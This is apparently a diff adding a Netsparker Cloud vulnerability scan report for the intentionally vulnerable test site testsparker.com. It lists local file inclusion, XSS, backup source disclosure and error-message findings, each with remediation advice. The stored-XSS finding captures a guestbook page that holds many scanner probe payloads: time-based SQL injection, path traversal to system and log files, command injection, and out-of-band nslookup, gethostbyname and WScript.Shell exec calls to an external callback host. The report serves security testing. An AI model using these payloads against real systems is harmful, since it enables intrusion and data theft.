+ The ClientAccessPolicy.xml file allows other Silverlight client services to make HTTP requests to your web server and see its response. This might be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.]]> + + + Configure your ClientAccessPolicy.xml file to prevent access from everywhere outside your domain.]]> + + ]]> + +
+ + http://testsparker.com/ConverterResponse.aspx + DatabaseErrorMessages + Database Error Message Disclosure + Low + 10 + False + Present + + A5 + 13 + 210 + 118 + 6.5.5 + 6.5.5 + 164.306(a), 164.308(a) + + + POST + + + + + + + 200 + 93,76 + + + + Netsparker Cloud identified a database error message disclosure.

]]>
+ The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL injection vulnerability. Most of the time Netsparker Cloud will detect and report that problem separately.]]> + + + Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.]]> + + + +
+ + http://testsparker.com/WS_search.asmx + ProgrammingErrorMessages + Programming Error Message + Low + 90 + False + Present + + A5 + 13 + 210 + 118 + 6.5.5 + 6.5.5 + 164.306(a), 164.308(a) + + + POST + + + + + + + 500 + 93,7539 + soap:ReceiverServer was unable to process request. ---> Data at the root level is invalid. Line 1, position 1.]]> + + + + + + Netsparker Cloud identified a programming error message.

]]>
+ The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. data may be disclosed. Most of these issues will be identified and reported separately by Netsparker Cloud.]]> + + + Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database, then show this number and a static user-friendly error message to the user.]]> + + + +
+ + http://testsparker.com/administrator/Default.aspx.bak + BackupFileFound + [Possible] Backup File Disclosure + Low + 75 + False + Present + + A7 + 34 + 530 + 87 + 6.5.8 + 6.5.8 + 164.306(a), 164.308(a) + + + GET + + + + 200 + 93,1511 + + +<%@ Register Src="~/administrator/" TagPrefix="uc1" TagName="administratordefault" %> + + + + +]]> + + + Netsparker Cloud identified a possible backup file disclosure on the web server.

]]>
+ Backup files can contain old or current versions of a file on the web server. This could include sensitive data such as password files or even the application's source code. This form of issue normally leads to further vulnerabilities or, at worst, sensitive information disclosure.]]> + + + Do not store backup files on production servers.]]> + + + +
+ + http://testsparker.com/administrator/Default.aspx.bak + BackupSourceCodeFound + Backup Source Code Detected + Important + 95 + False + Present + + A7 + 34 + 530 + 87 + 6.5.8 + 6.5.8 + 164.306(a), 164.308(a) + + + GET + + + + 200 + 93,1511 + + +<%@ Register Src="~/administrator/" TagPrefix="uc1" TagName="administratordefault" %> + + + + +]]> + + + Netsparker Cloud detected backup source code on your web server.

Identified Source Code

<asp:Content ID="contentMid" ContentPlaceHolderID="contentCenterMenu" runat="Server">
]]>
+ Depending on the nature of the source code disclosed, an attacker can mount one or more of the following types of attacks:
  • Access the database or other data resources. With the privileges of the account obtained, attempt to read, update or delete arbitrary data from the database.
  • Access password protected administrative mechanisms such as "dashboard", "management console" and "admin panel" potentially leading to full control of the application.
  • Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.
]]>
+

Remove all temporary and backup files.

]]>
+ This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However, a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application resides on.]]> + + + ]]> + +
+ + http://testsparker.com/Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini + Lfi + Local File Inclusion + Important + 100 + True + Present + + A4 + 33 + 98 + 252 + 6.5.8 + 6.5.8 + 164.306(a) + + + POST + + + + + + + + + 200 + 109,3343 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + +FAQ: if you want to see any answer, click to questions; + +
; for 16-bit app support +[fonts] +[extensions] +[mci extensions] +[files] +[Mail] +MAPI=1 +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified a local file inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Netsparker Cloud confirmed this issue by reading some files from the target web server.

Proof of Exploit

File - C:\windows\win.ini

; for 16-bit app support
+[fonts]
+[extensions]
+[mci extensions]
+[files]
+[Mail]
]]>
+ The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:
  • Gather usernames via an "/etc/passwd" file
  • Harvest useful information from the log files, such as "/apache/logs/error.log" or "/apache/logs/access.log"
  • Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection
]]>
+ + +
  • If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
  • If you definitely need dynamic path concatenation, ensure you only accept required characters such as "a-Z0-9" and do not allow ".." or "/" or "%00" (null byte) or any other similar unexpected characters.
  • It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.
]]>
+ + ]]> + +
+ + http://testsparker.com/Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini + Lfi + Local File Inclusion + Important + 100 + True + Present + + A4 + 33 + 98 + 252 + 6.5.8 + 6.5.8 + 164.306(a) + + + GET + + + + + + + 200 + 578,1184 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + +FAQ: if you want to see any answer, click to questions; + +
; for 16-bit app support +[fonts] +[extensions] +[mci extensions] +[files] +[Mail] +MAPI=1 +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified a local file inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Netsparker Cloud confirmed this issue by reading some files from the target web server.

Proof of Exploit

File - C:\windows\win.ini

; for 16-bit app support
+[fonts]
+[extensions]
+[mci extensions]
+[files]
+[Mail]
]]>
+ The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:
  • Gather usernames via an "/etc/passwd" file
  • Harvest useful information from the log files, such as "/apache/logs/error.log" or "/apache/logs/access.log"
  • Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection
]]>
+ + +
  • If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
  • If you definitely need dynamic path concatenation, ensure you only accept required characters such as "a-Z0-9" and do not allow ".." or "/" or "%00" (null byte) or any other similar unexpected characters.
  • It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.
]]>
+ + ]]> + +
+ + http://testsparker.com/ConverterResponse.aspx + PossibleXss + [Possible] Cross-site Scripting + Medium + 70 + False + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + "}]]> + + + 200 + 578,1249 + ),BtcValueForUsd from tblbtcvalues order by newid() '. +Incorrect syntax near '"-->),BtcValueForUsd from tblbtcvalues order by newid() '. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) + at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) + at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) + at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() + at System.Data.SqlClient.SqlDataReader.get_MetaData() + at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) + at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, SqlDataReader ds) + at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite) + at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) + at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) + at System.Data.SqlClient.SqlCommand.ExecuteReader() + at UserControls_Vulnerabilities_converterResponse_AjaxJsonSqlInjection.Page_Load(Object sender, EventArgs e)]]> + + + + + + Netsparker Cloud detected possible cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

Although Netsparker Cloud believes there is a cross-site scripting in here, it could not confirm it. We strongly recommend investigating the issue manually to ensure it is cross-site scripting and needs to be addressed.

]]>
+ There are many different attacks that can be leveraged through the use of XSS, including:
  • Hijacking user's active session.
  • Changing the look of the page within the victim's browser.
  • Mounting a successful phishing attack.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + +

This issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured whitelist libraries available for many different environments. Good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/redirect.aspx?site=[ns](javascript:netsparker(0x00114F);) + PossibleXss + [Possible] Cross-site Scripting + Medium + 75 + False + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 302 + 100,6577 + Object moved +

Object moved to here.

+ +]]>
+
+ + + + + + Netsparker Cloud detected possible cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

Although Netsparker Cloud believes there is a cross-site scripting in here, it could not confirm it. We strongly recommend investigating the issue manually to ensure it is cross-site scripting and needs to be addressed.

]]>
+ There are many different attacks that can be leveraged through the use of XSS, including:
  • Hijacking user's active session.
  • Changing the look of the page within the victim's browser.
  • Mounting a successful phishing attack.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + +

This issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured whitelist libraries available for many different environments. Good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx + PossiblePermanentXss + [Possible] Stored Cross-site Scripting + Important + 70 + False + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + ]>&lfi;]]> + + + 200 + 1719,4459 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Smith

+

+ 8/23/2017 8:09:57 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:09:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ ;SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ http://r87.com/n?.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:09:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:52 AM +

+

+ |nslookup${IFS}"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu""np8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ "&nslookup "o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop""v90.r87.me" +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ '&nslookup "o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3""apw.r87.me" +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ hTTp://r87.com/n +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ &nslookup "o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc""7j8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ nslookup "o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt""dny.r87.me" +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ "& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`' +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ "+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+" +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:09:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')') +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me') +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ "+createobject("WScript.Shell").exec("nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p" & "hf8.r87.me").StdOut.ReadAll+" +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ expr 268409241 - 2 +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ <%createobject("WScript.Shell").exec("nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p" & "asu.r87.me").StdOut.ReadAll%> +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq" & "olq.r87.me").StdOut.ReadAll+ +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft" & "k80.r87.me").StdOut.ReadAll +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ ping -w 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:42 AM +

+

+ createobject("WScript.Shell").exec("nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve" & "g44.r87.me").StdOut.ReadAll +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ expr 268409241 - 2; +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:40 AM +

+

+ '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}' +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ &ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ "+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+" +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ '&ping -w 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:38 AM +

+

+ '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+' +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ;expr 268409241 - 2;x +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
